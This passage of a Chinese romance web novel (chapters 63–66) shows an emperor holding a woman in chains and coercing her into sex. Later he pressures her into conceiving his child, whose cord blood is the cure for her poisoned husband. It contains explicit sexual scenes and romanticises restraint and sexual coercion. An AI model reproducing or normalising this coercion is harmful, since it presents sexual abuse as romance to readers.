她神情一转,期期哀哀地看向他,泪盈于睫,低声恳求道: “执玉哥哥,求你放了我好不好,你、你,这些勒得我好疼,我就、我就当昨夜的一切都没发生过好不好,执玉哥哥……呀!” 姜稚月的话还未说完,宋砚辞便在她的唇上重重咬了一下。 “当做什么都没发生过?” 他胸腔颤栗着闷笑出声: “阿月,我什么心思,你还不清楚么?” 他摩挲着她腕上被磨红的痕迹,轻叹: “本不想伤你的,可阿月不乖,我怕待会儿再伤了你,便只能辛苦我们的阿月受着了。” 一听他说“待会儿”,姜稚月的头皮瞬间发麻,全身酸疼的感觉再度涌来。 第63章 第63章“四皇子找到了。”…… 姜稚月瞧出宋硯辭眼中越来越浓的墨色,心中一凛,身子下意识想要从床上起来。 然而这一动,一股异样的感觉让她刹那间僵住了,耳畔似乎还能听到那鈴鐺闷闷的颤鸣声。 她不可思议地看着宋硯辭: “你、你把它拿出来……” 少女夹着双膝,面上浮现一抹娇艳的绯色。 宋硯辭拿过一旁的帨巾,浸了水拧干后,慢条斯理地一根根儿擦拭着自己的手指,挑眉看她: “嗯?把什么从哪儿拿出来?阿月不说清楚,执玉哥哥怎么知道你要让我做什么?” 他的手指冷白修长,骨节分明,被帨巾擦过后泛着水光。 姜稚月盯着他的手指,吞了吞口水。 男人的意图再明显不过。 尽管她的内心极力拒绝这件事,但双脚双手被金链束缚,若是不想再难受,便只能由着他来帮她…… 见她咬着唇久久不回答,宋硯辭轻笑一声,凑过去好心提醒道: “阿月若是想清楚了,就尽快告诉哥哥,不然待会儿,我可没现在这般好心了。” 他的眉眼清隽温和,若非姜稚月知道两人之间在说什么,光听他这語气,还以为他是如何一个光风霁月的君子。 可姜稚月在他的目光下,却像是无处遁循。 嫣紅的唇都咬出了血色,终究是瞥过视线,羞赧地小声开了口: “把……把鈴鐺拿出来。” “从哪里?” 宋砚辞眼含笑意,逼视着她,語气不紧不慢。 姜稚月面色刹那涨紅,眼瞅着眼底又有了亮晶晶的泪光,宋砚辞到底好心放过了她,笑着慢声道: “躺好。” 轻描淡写的两个字,却让姜稚月的心一揪。 她咬唇磨蹭半天躺回了床上,眼泪隨即顺着嫣紅的眼尾滚落了下来。 宋砚辞神色不明地看了她一眼,伸手去勾。 未几,铃铛的嗡鸣声越来越大,宋砚辞将东西递到姜稚月面前,故意问道: “可是这个?” 金色的铃铛躺在宋砚辞掌心,精致的镂空纹样中渗出晶莹黏腻的水渍,淌进男人掌心。 姜稚月只看了一眼,就闷过头去不发一言。 男人将铃铛放在桌案上,铃铛脆生生地响了一下后,嗡鸣的颤音徐徐扩散。 宋砚辞道: “现下,你是起来用膳,还是继续躺着?” 他的语气太过云淡风轻,姜稚月听见他说这话简直要气死,猛地抬头瞪他。 视线扫过的时候,忽然发现自己的衣裳都被整齐地叠放在床头的柜子上。 再思及方才有婢女进来送食盒时,房门并未被重新上锁,姜稚月的神情突然一变,咬着唇泪眼盈盈地看着他,好不可怜道: “既是用膳,执玉哥哥这般绑着我,我如何用?” 说着,她还故意动了动手腕。 那脆弱白皙的皓腕上,一圈紅色分外刺目,有些地方还不小心磨破了皮,看着确实可怜。 宋砚辞扫了一眼,抬眸盯着她,眼底带着兴味的笑意。 “不若,我喂你如何?” 姜稚月的脸一红,心慌之意不加掩饰地浮现在酡红的小脸上。 “还、还是我自己来吃,你替我解开。” 她的话音未落,宋砚辞就没忍住轻笑了出来,亲自抬手替她解开了手脚 的束缚。 他笑的语气,就像是看透了她的小伎俩却不揭穿,只眼睁睁看着她在自己的爪子下挣扎的样子。 但姜稚月管不了这么多了。 宋砚辞剛将她的金链解开,她使出浑身力气重重推开了他,然后飞快拿起床头的衣裳,一邊手忙脚亂往身上披,一般疯了般往门口跑去。 身后的脚步声迟迟没有跟上。 姜稚月心中一喜。 就在她的手剛将门扇拉开一条缝儿,门外灼亮的阳光照进来的时候,身后忽然窜过一阵风。 紧接着只听“咣”的一声。 伴隨着姜稚月的惊叫,她整个人便被宋砚辞攥着腰肢重重压在了门板上。 还不等她反应过来,男人已经如同报复一般陡然撑得满当。 一瞬间血液疯狂窜涌,姜稚月的头皮发麻,双腿一软便瘫在了他的怀里。 宋砚辞并未急着动,额角的青筋因为隐忍而疯狂鼓跳。 他的眼神阴沉得可怕,沉沉地看着姜稚月,一寸一寸拼命地挤将她深深钉在门板上。 “原来阿月说的用膳,是想被这样喂饱。” 姜稚月的指甲深陷在他的手臂上,染着蔻丹的指尖泛起粉白,痛苦得仰起脖颈,却因为双腿无力而越发吃得深。 听到他的那句喂饱,她的脑中不自觉浮现出昨夜将要失去意识前,自己无意间的一瞥,那高高隆起的小腹让她恍惚以为自己回到了怀胎六月的时候。 她又惊又怕,娇稚得嗓音颤着: “执、执玉哥哥……” 少女实在太过白得耀眼,脖颈和脸颊上一层薄薄的粉色像是从玉中透出来的。 颤巍巍的小琼鼻上薄汗岑岑,染着朱色的眼尾漾出娇媚潋滟的水光。 宋砚辞的眸色更深。 男人托着她的腰,精壮的肩背耸动,每条硬朗的去向都充斥着力度。 陡然重起来的力道顶得她向后一撞,双脚险些离了地,白皙娇嫩的颈肩都蹭出了红痕。 姜稚月吃痛,眼眸有瞬间的失神。 宋砚辞观察着她的神色,隐忍着掌握节奏。 他同宋知凌太不一样。 宋知凌虽然也顾及她的感受,但他一旦沉溺进去,便收不住魂儿,莽撞蛮干。 而宋砚辞则不是。 他能隐忍。 即便他情到浓时也能清醒地观察姜稚月的状态,他能通过姜稚月的每一分表情判断她此刻到的位置,然后在她最最接近的时候骤然落下来。 姜稚月檀口微张,被这磨人的惩罚摆弄得不上不下,苦不堪言。 “还跑么?嗯?” 在她又一次的尖叫戛然而止的时候,宋砚辞笑出了声。 他的声音分明很哑,幽深的眼底也因隐忍而泛了红,却依旧能像是抽离事外一样,平静得问她。 这让姜稚月瞬间想起了曾经父皇派盛公公熬的鹰。 可她早已在昨夜就熟悉了接纳他,此刻更是被磨得溃不成军。 滴滴答答的水声,若是不注意听,还以为是窗外檐下雨水的声音,可那雨水分明不可能顺着门缝儿溢进来,落在两人脚底。 姜稚月细嫩的喉咙呜咽着,睁着一双泪眼朦胧地眼睛,娇滴滴地含着哭腔求饶: “不跑了,执玉哥哥,我不跑了……” 话音甫一落下,宋砚辞的眸色刹那间黯了下来。 春桃刚端着药碗走到门口,忽然听见门板发出又重又急的声响,她的脚步一顿,慌忙回头,红着脸将过来送东西的另外两个丫鬟赶去了院外。 过了许久,屋内叫了水。 春桃这才急忙招呼人将热水和热过的饭菜端重新进去。 姜稚月瞧着春桃低眉顺眼脚步匆匆离开的模样,心底那丝委屈和羞赧再度涌了上来。 她一把将饭菜掀翻在地,哭红着眼瞪着宋砚辞。 凭什么!凭什么她每次在他手底下都只有屈服的份儿! 看出姜稚月眼中的不服,宋砚辞忽然觉得眼前的姑娘可爱的厉害,方才因为她想要逃跑的戾气随之被驱散了许多。 他抱臂,居高临下地冲她挑了挑眉: “不服?” 他身上明黄色的衣衫尚算完整,只除了玉带被扔到了门邊,衣襟散开露出锁骨以外,就只有脸上一滴白色彰显出方才的迷亂。 而姜稚月,则是未着寸缕,白得发光的肌肤上满是深深浅浅的痕迹,白皙如此的小脸上泪痕未干,眼尾一抹不易察觉的媚态。 姜稚月勉强捂着自己。 瞪了他许久,视线忽然察觉到他脸上的那一滴,忽然脸一红瞥开视线。 憋了又憋,终是没忍住小嘴一瘪,小声哭了出来。 宋砚辞眼底笑意更甚,刚刚餍足的男人十分好说话。 他过来将她打横抱起,绕过满地的碎瓷片,轻轻将人放在床上。 “阿月,嗓子都已经哑了,不哭了,嗯?” 他不说还好,一说嗓子哑,姜稚月就想起了那些不堪,哭得更厉害了。 宋砚辞蹲在她面前,抚了抚她的发顶: “好了不哭了,阿月,我们好好的,好不好?” 姜稚月才不想跟他好好的。 她红着眼眶躲开他的手,咬着唇不吭声。 宋砚辞看了她半晌,无奈轻叹了口气,正欲说话,门口传来褚屹焦急而严肃的声音: “主子,急报!” 宋砚辞的手一顿,看了姜稚月一眼,安抚道: “我去去就来,待会儿让春桃上些饭菜,你先用,不用等我。” 宋砚辞昨夜特别吩咐过,若非十万紧急的事,褚屹定不会在这个时候出现打扰他。 他起身阔步走到外面,等到和褚屹一同出了院子,才沉声道: “说。” 褚屹和他一边急匆匆往乾坤殿走,一边拧眉低声道: “四皇子找到了。” 宋砚辞脚步一顿,回头深深看了他一眼: “人呢?” “此刻人已进了京,就是尚且昏迷不醒,怕是中了某种特殊的毒。” 宋砚辞脚底下不停: “即刻将人接进宫,请陆詹来看。” 褚屹应道:“是。” 另一面,姜稚月任由春桃替她穿戴整齐,抽抽搭搭地坐在饭桌前。 一颗白胖的米饭搭在筷子头,好半天都没送进嘴里。 春桃见她这样,不由叹气: “夫人还是吃点吧,免得……” 她顿了顿,没敢说完。 其实她是想说,按照昨晚和今天的架势,小夫人再不吃上一些补充体力,怕是都挨不过下次就得累昏过去。 虽然她很不理解陛下对于小夫人强取豪夺的执念,但其实可以看出来,陛下还是很在意小夫人的。 毕竟昨夜那个叫锦葵和琉璃的,在挣扎的时候失手伤了陛下好几个人,陛下非但没让常乐公公罚她们,还给她们好吃好喝的供上了。 思及此,她又忍不住细细去打量姜稚月。 不得不说小夫人真的生得很美,尤其是此刻清澈中透着妩媚的风韵,更是迷人。 同为女人她都要忍不住被她迷住了,更何况是他们的陛下。 姜稚月只勉强吃了小半碗米饭,喝了半碗汤便吃不下了。 腹中有了食物,她坐在床边思绪乱飘了半天,困意便再也挡不住朝她重重砸了过来。 姜稚月这一觉睡醒,天色再度黑了下来。 她刚睁眼,就听门口传来一阵小声的说话声,紧接着门一开,宋砚辞的身影从屏风后绕了进来。 姜稚月现在一见他就下意识往后躲。 宋砚辞这次却只是反常地看了她一眼,然后语气复杂的开口: “阿月,我带你去见个人。” 第64章 第64章“解开它,自己坐上来。…… “阿月,我带你去见个人。” 宋硯辭的語气颇为复杂,不知为何,姜稚月瞧着他严肃的神情,心头猛地一跳。 一种極为強烈的,她从前想都不敢想的荒谬预感忽然涌上心头。 她不动神色地抿了抿唇,看了眼宋硯辭身后跟着的褚屹,起身什么也没说,跟在宋硯辭身边,沉默地跨出了门槛。 今夜乌云密布,四周暗沉沉的压得人 透不过气。 只有常乐手中的一盏宫灯,散发出微弱的橘色光晕,吃力地对抗着四周窒息的黑夜。 姜稚月盯着那盏晃晃悠悠的宫灯,脚步虚浮。 忽然,紧攥着袖口的手被一只温热的大手抱住,她下意识躲了一下,却被男人抓得更紧。 姜稚月侧头看他。 暖黄色的光晕打在宋硯辭深邃的五官上,映出半明半昧的光。 男人并没有看她,而是目不斜视地瞧着前方,幽深的眼底仿佛无论如何都透不进半丝光亮。 这一瞬间,姜稚月的心没来由得疼了一下,像是被谁猝不及防地紧紧攥住。 到了一座雄伟恢弘的宫殿门口,常乐停了下来,躬身递过手中的宫灯。 宋砚辞抬手接过,回头盯着姜稚月看了一眼: “进去么?” 两人之间似乎有种无法言说的默契,分明都已经知道了什么,却又什么都没说。 姜稚月咬着下唇,轻微的刺痛感让她勉強能强迫自己冷靜下来。 须臾,她轻点了点头,“进。” 在她这个音节剛发出来的时候,她明显感觉握着自己的手紧了一下。 随后宋砚辞低低嗯了一声,拉着她往台阶上走去。 临进门的时候,姜稚月停了下来,在他手底下挣扎了一下,将自己的手从他的手中挣脱了出来。 宋砚辞停在半空的手虚握了一下,指腹轻捻,接着若无其事地推开了房门。 一股浓郁的药味扑面而来,姜稚月的双腿一软,险些一个趔趄绊倒在门槛上。 殿中掌了许多盏灯,亮如白昼。 明晃晃的光晕刺下来,剛从黑暗中进来的姜稚月忍不住将手搭在眼帘上,眯了眯眼。 视线看不清的时候,耳中剧烈的心跳声就更为明显。 丝丝药味儿缠绕在她鼻尖,几乎要封住她的呼吸。 等到她能看清的时候,视线里,床上那个熟悉的身形令她眼眶一热,下意识就要往宋知凌床边跑去。 然而她才刚一抬脚,又猛地顿住了。 眼泪像是僵在了眼眶中,姜稚月生硬地回头,视线往宋砚辞身上看去。 她伸着颤巍巍的手指,指着床上的宋知凌,語气轻得几乎快要碎了: “他还活着?” 宋砚辞眉心微不可察地蹙了一下,想要上前拉她,却被她一把挥开。 他只好停在原地,看了她片刻,低低“嗯”了一声。 那一声平靜的声音,却像是一把利刃,狠狠划开了绷紧的弓弦。 姜稚月只觉脑中“嗡”的一声,小臉上血色瞬间尽失。 她望向他的眸中初时喜悦的光亮慢慢熄灭,最后变成了绝望、难堪和恨意、自嘲杂糅的复杂神色。 下一刻,她忽然腿一软,跌坐在地上掩面哭了起来。 压抑的哭声和着眼泪从指缝中流泻而出。 他怎么偏偏今日回来!! 可她和宋砚辞什么都做了啊!! 在她又慢慢对宋砚辞再次动心的时候,她曾经拜过堂的丈夫又回来了?? 他既然活着,那她签的那份和离书算什么?她和宋砚辞昨夜,甚至今早那些又算什么??!! 她的脑中混乱一片,连日来極致的情绪起落,终于在这一刻,如同决堤破口一般,汹涌地砸了下来。 过了好半晌,耳畔传来渐近的脚步声。 手臂被男人温热的掌心攥住,宋砚辞轻叹一声,嗓音沙哑: “阿月,地上凉,起来去看看他吧。” 若说宋砚辞不难受是假的。 地上的少女,是他深埋在心中几年的姑娘,他承认得知她怀了宋知凌孩子的那一刻,他恨不得宋知凌是真的死去了。 但他到底是自己的親弟弟。 谁抢了谁的什么,谁又欠了谁,得到或者失去。 他们三人,早在岁月的流逝中纠缠不清了,就像齿轮契合的每一个凸起和凹陷,离了任何一个,都不完整。 听出宋砚辞语气里的异常。 姜稚月的哭声一顿,不由抬头看了他一眼,被他带着站了起来。 男人提了提唇角,疲惫道: “去看看他吧,阿月。” 姜稚月鼻尖一酸,眼泪又差点掉下来。 她急忙掐了一把自己的掌心,深吸一口气,这才飞快地扑到了床边。 床上的男人瘦了很多,但明显是被打理过,面上干净,衣衫也整齐洁净,静静躺在那里,像是睡着了一样。 姜稚月眼泪吧嗒吧嗒往下掉。 她抬手轻轻抚摸过他的眉眼,最后定格在他略微发紫的唇上,蹙了蹙眉: “他中毒了?” “嗯。” 宋砚辞喉结上下滚了几下,似是有些欲言又止。 姜稚月察觉出他看向宋知凌时,眼神中的复杂神色,心里忍不住一沉,急忙拽住宋砚辞的衣角: “执玉哥哥!他到底怎么了?” 她眼中的关切和焦急,丝毫不加掩饰。 宋砚辞低头看了她一眼,最后视线落在她攥着他衣角的小手上,眸中神色几经变幻,最后幽幽道: “我叫陸詹进来。” 说罢,他拂开她的手,转身径直离开了房间。 姜稚月将宋砚辞的反常看在眼里,她心底的不安如同一圈圈涟漪,不断被放大开来。 过了须臾,常乐领着一个背药箱的男子进门。 “夫人,陸神医来了,您有什么,就问他吧。” 姜稚月擦了擦眼泪: “他……什么时候能醒?” “未知。” 那个姓陸的神医语气无波无澜。 姜稚月的手微微攥紧: “那他到底是怎么了?” “中了一种极为罕见的毒。” “可有方法救他?” “有。” 姜稚月闻言,原本坐着得身子猛地直了起来,身体微微前倾,神色迫切,话音里的尾调明快: “怎么才能救他?” 她的嗓音本就偏娇甜,此刻带着些鼻音,又因为那句上扬的尾调而微微有了些许俏,在偌大的宫殿里,听起来像是银铃的清响。 陸詹抬眸看了她一眼,继而垂眸面无表情道: “其余几味解药都已备齐,现下唯一缺的是……” 他略一停顿: “须得脐带血作为药引。” “脐带血?” 姜稚月一愣,似是没反应过来,“什么意思?” 陆詹掀眸瞥了她一眼: “需要四殿下親生子的脐带血。” 姜稚月这才恍然,他说的不就是宣哥儿么? “可……” 可宣哥儿早就已经出了月子,更遑论脐带血了,难不成…… 她瞥向床上的宋知凌,臉颊微红,这昏迷中的人总不能…… 正胡思乱想着,陆詹替她说出了答案。 “亦或是,与他血缘亲近之人孩子的脐带血,亦可。” 姜稚月猛地回头看他,望向他平静的并无一丝戏谑的神情,脸颊的微红肉眼可见的变成了深红。 她也不知是被气的还是被羞得,猛地站起身,胸膛急速起伏了几下,不待众人反应,忽然红着眼眶冲出了房间。 夜晚的凉风猛地铺面而来,赶走了一丝脸上的额燥热。 姜稚月左右看了看,发现隔壁灯还燃着,她没有一丝犹豫地推门闯了进去。 宋砚辞果然在那里。 而且……他似乎刚刚沐浴过。 姜稚月脚步一顿,心中生了一丝怯意,随即想到那个陆詹的话,心里的怒火又骤然间窜了起来。 “你故意的是不是?!” 她冲上去,红着眼睛,仰着小脸看他,语气里满是气恼的诘问。 宋砚辞 修长的手指在腰间墨色的腰带上绕了绕,动作未停,闻言只是淡淡睨了她一眼: “故意什么?” 姜稚月扫了眼他的动作,不知为何脸颊一烫,说话都有些不利索: “那陆詹、陆詹说的话,可是你故意让他这般说的?!” “陆詹从不说谎。” 宋砚辞的语气淡淡的,甚至整个人毫无一丝进攻性地往身后的太师椅上一坐,端了杯茶在鼻尖嗅了下: “倘若你觉得,他说的方法令你无法接受,我亦不勉强你。” 他太过气定神闲,游刃有余的语气让姜稚月差点以为他真的如他所说,不勉强她。 可这哪里有她选择的余地? 他似是看出她的恼怒,放下茶杯,轻叹一声道: “你怨我或者如何,我都认,可阿月,云笙的命如今在你手中攥着,门没锁,是走是留,你自己定,倘若你这次还是决定要走,我会送你回姜国。” 宋砚辞说话时,嶙峋的喉结上下滑滚,挂在上面的一滴水珠晃了几下,滴进他的衣襟里。 他这次是没像昨晚那样锁门,可是走是留,她能自己定么? 他的每一句话,都在逼她做出那个没有选择的选择。 他不过就是笃定,她为了救宋知凌,会委身于他! 否则他怎么会在这个节骨眼儿上连澡都洗好了?! 姜稚月心中又气又委屈。 盯着宋砚辞狠狠看了几息,最后一狠心,赌气般转身便朝门口走去。 然而刚走到门边,她又忽然停了下来。 脑中宋知凌曾经笑着抱她的画面,怎么都挥之不去。 她柳眉紧紧皱了起来,脑中激烈地天人交战。 不知过了多久,她搭在门上的手缓缓落了下去,深吸一口气转身,磨磨蹭蹭地重新走回去,低头无措地站在了宋砚辞面前。 男人似乎早就料到她会回来,闲散地坐在那里一动未动,只是眯着眼睛打量着她靠近的动作,手指在桌案上有一下没一下地轻点。 半晌,她听见头顶传来他的嗤笑声。 宋砚辞哑着嗓音,近乎命令道: “解开它,自己坐上来。” 第65章 第65章“小声点,宋知凌能听见…… 宋硯辭的话让姜稚月忍不住皱起了眉。 尽管已经在心里说服了自己许多遍,可真听他将这些话赤//裸//裸地说出来,她仍是过不了自己那关。 宋硯辭似是看出了她的犹豫,也不心急,就那般闲散地看着她。 男人的目光淡薄,但姜稚月觉得落在她身上却与灼烧无异。 那般视线,仿佛早已将她身上的衣裳剥了个精光。 姜稚月捏着指尖,窘得想哭。 双腿却像是钉在了地上,一动都不能动。 屋中靜得,除了更漏的滴答声,便只剩下了彼此的呼吸声。 不知过了多久,门口忽然传来一阵响动,是隔壁的门开了。 姜稚月的注意力不禁被外面的声音吸引了过去。 她听见常乐压着声音小声求道: “陆神医您、您再看看!您别走啊!” 紧接着陆詹仍是操着那口毫无波澜的语气,道: “不用再看了,若是没有脐帶血做藥引,便是大罗神仙来了,也无藥可医。” 姜稚月猛地攥紧手心,就听那陆詹又道: “倘若要救人,烦请你对你们陛下说尽快,即便现在有孕,到生下孩子也要十个月,到时候他能不能撑到那时候,也未可知。” 说完,一阵衣衫窸窣之声,似乎是陆詹将自己的袖子从常乐的手中挣开,继而一阵急促的脚步声后,院中再度恢复平靜。 方才那几句对话,就像是一段无关紧要的插曲一般。 然而輕飘飘的声音,落在姜稚月耳中,终是掀起了轩然大波。 良久,她輕輕挪动了右脚,镶着东珠的粉色绣鞋輕轻迈出一步。 再然后是左脚。 她的步子很小,很慢,每一步都像是踩在高悬的绳索上。 尽管如此,在她迈了第四步的时候,还是不可避免地挨上了宋硯辭的衣摆。 男人的眼眸微眯,目光落在她眼眶通红的小臉上,平静地看了她须臾,忽然轻笑出声: “姜稚月,你若是实在不愿,便作罢,这般犹豫是为他守贞,与我亲近,也是为救他命,姜稚月——” 他捏着眉心,提了提唇角,“我除了被你利用之外,再没有别的价值了么?” “不是!” 见他要起身,姜稚月立刻慌了神,一把攥住他的手臂,小臉上神色慌张,哀哀道: “不是的执玉哥哥!我、我愿意的,我不是在利用你,我、我……” 直到这一刻,姜稚月才彻底意识到,在这场交易中,本就没有公平可言。 宋硯辭作为唯一与云笙血缘相近之人,其实他才是真正掌握主动权的那个人。 他可以选择救,也可以选择不救。 倘若他当真不顾兄弟之情,弃宋知凌与不顾,便是她求着他,他也不会同意。 更何况,曾经的太子殿下回来了,如今的“陛下”便看起来有几分名不正言不顺的味道。 天家皇权,最是不见“情”的地方…… 她当真是傻了,怎会因为他将主动权交给自己,就真的以为自己有的选了。 似是生怕宋砚辞再反悔一般,姜稚月慌忙上前,两条细嫩的藕臂紧紧环住他的腰,语气娇稚: “执玉哥哥,今夜、今夜别走……” 宋砚辞低头睨了她一眼。 怀中的小姑娘太过乖顺,眼底因为慌张而泛出点点晶莹,挂在浓密纤长的眼睫上。 那小扇子一样铺着碎金的羽睫,轻轻煽动,似是没一下,都划过他的心底。 宋砚辞微微仰头阖目,滚了滚喉结。 良久,他平静下来,捏着她的小手揉了揉,帶着来到他腰帶的地方,动作不言而喻。 姜稚月的臉一红,埋在他胸前的小耳朵像是烧起来了一般。 她紧张地吞咽了一下,然后轻轻地,细嫩地指尖颤抖着拉开了他的腰带。 墨色的绸缎如水一般滑落,姜稚月正要去解他亵裤上的腰带,忽然手背被大掌握住。 她这番动作本就是憋了气小心翼翼的,宋砚辞突如其来的动作就像是小鱼儿即将咬钩时动的那一下鱼竿。 看她满眼惊惧仓皇的样子,宋砚辞喉咙里滚出一声轻笑。 “阿月怎只顾着解我的?” 姜稚月一愣,对上他盯着自己看时好整以暇的眼神,立刻明白了过来。 她眼里升起一团小小的火苗,水泠泠地瞪了他一眼。 但奈何此刻她已别无选择,粉白的贝齿轻咬着下唇,略一狠心,手指落在了自己的上襦上。 白晃晃的肩颈在幽昏的光线下,如同一块泛着光泽的美玉一般。 原本宋砚辞的肌肤已经够白皙了,但她的比他还要白。 娇小细嫩的肩颈和不盈一握的腰线,同对面男人健硕而壁垒分明的胸腹在一起,强烈的反差令人眼热。 宋砚辞神色不动,静静瞧着。 姜稚月在他的目光下,羞得几乎要晕过去。 她犹豫了一下,这次再去勾他的腰带。 这次宋砚辞并未阻止她,可…… 姜稚月看着他岿然不动的身影,别开脸去,几乎快要哭出来了。 “你、你就不能起来一下?” 这下饶是她再迟钝,也看出宋砚辞是故意的了。 他就是故意报复她今早逃跑那一下! 宋砚辞瞧着对面身形娇小的姑娘。 因着他视线的逡巡,溫香軟玉般的小脸氤着一层浅浅的胭脂色。 就连她攥着他的圆润手指,都晕了层淡淡的粉,看起来可爱极了。 宋砚辞抬手,指腹间蹭了蹭她的唇。 对面的小姑娘猛地一抖,眼尾迅速泛了红。 宋砚辞唇角微勾,眼神往下,示意道: “就这样,上来。” 这一 刻的对峙,姜稚月觉得是她一生中最漫长的时间。 直到听到他说上来的那一刻,她反倒觉得自己松了口气,像是选在头上的那把铡刀终于落了下来一样。 大红色的描金裙摆如一朵绽开在黑夜里的牡丹,少女细白的足腕从裙摆下微微露出来,几颗染着蔻丹的圆润小脚趾紧蜷着。 男人掐着她的腰,方才还清冷的游刃有余的神色中,染上了浓厚的慾。 “你、你就不能快些……” 姜稚月咬着唇,嗓音娇得不像话,腰肢无力地趴进他的怀里。 “为什么?阿月还真是急功近利。” 宋砚辞喘笑,灼热的气息喷洒在她耳畔。 他绕过去在她颈后咬了一口,少女娇呼一声,白皙的肌肤上立刻留下一道印子。 “小声点,陆詹说宋知凌能听见。” 宋砚辞抬手拍她,示意她放松。 可姜稚月早就被他那句话吓得浑身发紧,潮湿的泪意都凝固在了眼底。 他是说宋知凌能听到?!! 那么方才那些话,他也听到了?? 他听到陆詹说的要用亲近之人的血脉?? 那他…… 姜稚月一想到此刻隔壁躺着的宋知凌,对于这间房里发生的一切都知晓,她心底就生出强烈的荒谬和紧张。 “阿月可是后悔了?” 宋砚辞唇角嗪着笑意,盯着她失焦的眼睛故意磨了一下。 姜稚月腿一軟,刹那回神,却硬是死咬住唇没发出半个音節。 宋砚辞盯着她看了几眼,唇角的笑意缓缓落了下来。 他一手攥住她的腰,一手猛地按住她细嫩脆弱的后脖颈,将人压进怀里被迫承受自己的吻。 宋砚辞吻得毫无一丝節制,凶猛地进攻,强势地撬开她的贝齿,探进去在她的甜嫩的口腔里激烈扫荡,最后勾住她鲜嫩柔软的舌尖,含弄吮吸。 “伸出来些。” 男人的嗓音沙哑得厉害,命令的语气低低的,强势蛊惑。 姜稚月气息紊乱,丝毫跟不上他的节奏,重重喘了几下才回过神来。 “快。” 男人催逼。 姜稚月两条细嫩的藕臂柔弱无依地攀附在他强健的肩膀上,闻言轻颤着抬眸,泪眼中写满无助。 颤颤地溫顺地递出了自己的小舌。 “唔……” 小姑娘吃痛闷哼,裹着黏稠的情调,两眼雾蒙蒙颤巍巍神情迷离。 男人再也不加克制,细软腰间的大掌攥得发疼。 姜稚月高仰着头,残喘娇泣的丹唇里口水流个不停,从她脸颊到耳畔蜿蜒成有节奏的曲线。 宋砚辞攥着她的细腰,将娇小的少女压进怀中,粗沉呼吸绵长滚烫,一遍遍吮吻着姜稚月细嫩脆弱的脖颈。 半夜,常乐按照陆詹教的方法伺候完四殿下用药后,看了眼院中隔壁房间投下的光影,匆忙收回视线,又去厨房取了碗坐胎药来。 这坐胎药已是重新煎了一副,方才那副热了三次,偏殿的房门都没开。 常乐抬头看了看天色,东边的天际已经隐隐泛起了鱼肚白。 他想了想方才听到的娇泣,转头又回了厨房,吩咐厨娘再煎一副润嗓的汤药来。 姜稚月醒来的时候思绪有小半刻的恍惚。 过了会儿才陡然想起,昨夜宋知凌已经被寻回来了。 她急忙想起身去瞧瞧,然而刚一动就感觉到热意,她瞥了眼彻底僵住。 “醒了?” 宋砚辞坐到床边,语气温柔。 他伸手将她腰下的枕头取出来: “你也别怪我,陆詹说宋知凌的时间等不得了。” 姜稚月敛了眸,原本想说的话尽数卡在了喉咙。 过了好半晌,她低低道: “我想去看看他。” “好。” 男人的笑意依旧温润,看起来心情像是好极了,眼角眉梢都带着笑意。 白日里,他又恢复了那个清冷温润,端方矜贵的大宋国皇帝,明黄色衣衫上繁复的龙形刺绣精致威仪,丝毫看不出半丝夜里的模样。 只出了那几道渗着血的抓痕。 姜稚月视线从他颈侧的抓痕上扫过,脸一热匆匆别开视线。 “你先出去,我梳洗过后,带我去见他。” “好。” 宋砚辞答应的干脆,这让姜稚月不禁多看了他一眼。 却不想他下一句就让她羞赧地想直接将身后的枕头砸过去。 他说: “陆詹替你号了脉,近日你是最易受孕的时候。” 之后他深深看了她一眼: “朕先去同那帮大臣议事,晚些再来看你。” 第66章 第66章“喜脉。” 姜稚月又重新住进了宋硯辭的寝宫。 原本以为,她这般不明不白地住在皇帝寝宫,会受人非议。 然而宋硯辭也不知是手腕了得还是什么,登基仅仅一个多月,便将宫中从上到下约束得服服帖帖。 宫里的每一个宫人看到她时,都不曾多看一眼或者多议论一个字。 在这一点上,姜稚月心里总算微微松了一口气。 烛火闪烁,窗外夜风徐徐。 月光映照着竹影,在绢窗上投下影影绰绰的暗色。 姜稚月看着床上的男人,长叹一声,用手戳了戳他的脸颊: “宋知淩,你怎么还不起来啊?” 她吸了吸鼻尖,語气闷闷的: “成婚的时候,你不是说以后你会永远陪在我身边的么?怎么现在变成了我日日守着你啊?” 平日里宋硯辭只許白日她来看他。 今日是他出宫去了,她才能有机会支走陆詹和常康,单独与宋知淩说说话。 虽然他还昏迷着,但姜稚月记得宋硯辭说过,他能听到,所以姜稚月想只能白日里来看他也好,免得让他看到她和宋砚辞那些不堪之事。 姜稚月拢了拢外裳,勉强遮住脖间斑驳的紅痕。 她的皮肤本就很白,又嫩,那些痕迹便分外明显,也消得慢。 艳的压在淡的上,一层叠着一层。 “宋知淩,你再不起来,我可就不要你了!我当初可是为了你,才来的宋国,怎么才走到半路上,你就抛下我不管了呢?” 她忍着語气里的哽咽,泛紅的眼圈吧嗒掉了一颗泪,“宋知淩你就是个混蛋!” “我给你说啊,我以前喜欢执玉哥哥你也是知道的吧?你再不醒来,我可就跟他、跟他……” 若是从前,姜稚月说不到半句,宋知凌定然已经跳起来捂住她的嘴,假装凶狠地威胁她不許再提那个人,然后一把抱起她狠狠“惩罚”。 姜稚月磕绊了两下,双肩一耷拉,到底没有说下去。 她长叹一声,转身去一旁的盆里拧干帨巾。 盆架在身后的窗边,以至于姜稚月转身的时候,并未看见床上宋知凌手指轻微地蜷缩。 水声哗啦啦地响,越发衬得夜晚空寂。 湿凉的帨巾轻轻落在宋知凌额头上。 姜稚月的视线随着缓慢地勾勒着他的五官轮廓。 也不知陆詹用的什么药,宋知凌比一个月前被找回来的时候,脸色瞧着健康多了。 可因为比从前瘦些,五官更加挺括立体,有种从前没有的成熟韵味。 也……同宋砚辞更像了。 尤其是闭眼躺着的时候,薄唇抿的深浅,和眼睛闭起的弧度,都同宋砚辞很像。 察觉到她自己又在不知不觉想宋砚辞,姜稚月拍了拍脸颊骤然回神。 忽然,房门吱呀一声发出轻响。 姜稚月身子一凛,不用回头就能知道来人是誰。 那道沉稳低锵的脚步声,她这一个月已经听过了太多回。 她依旧神色如常地替宋知凌擦拭,直到手被男人干燥温凉的手握住,宋砚辞将她手中的帨巾取了下来扔回盆里。 “手怎么这么凉?” 他蹙眉,语气里帶着些许刚从外面染进来的凉意。 姜稚月抬眸看了眼床上的宋知凌,下意识想将自己的手抽出来 ,不料男人直接掐着她的腰,将她放在了床边的矮柜上。 他敛眸低低凝视着她。 良久,姜稚月最先撑不住败下陣来,小声解释: “我、我只是晚间用膳有些多了,想出来消消食,恰好、恰好……” “恰好走到了宋知凌的寝殿是么?” 宋砚辞的眼底蛰伏着一抹偏执的占有欲。 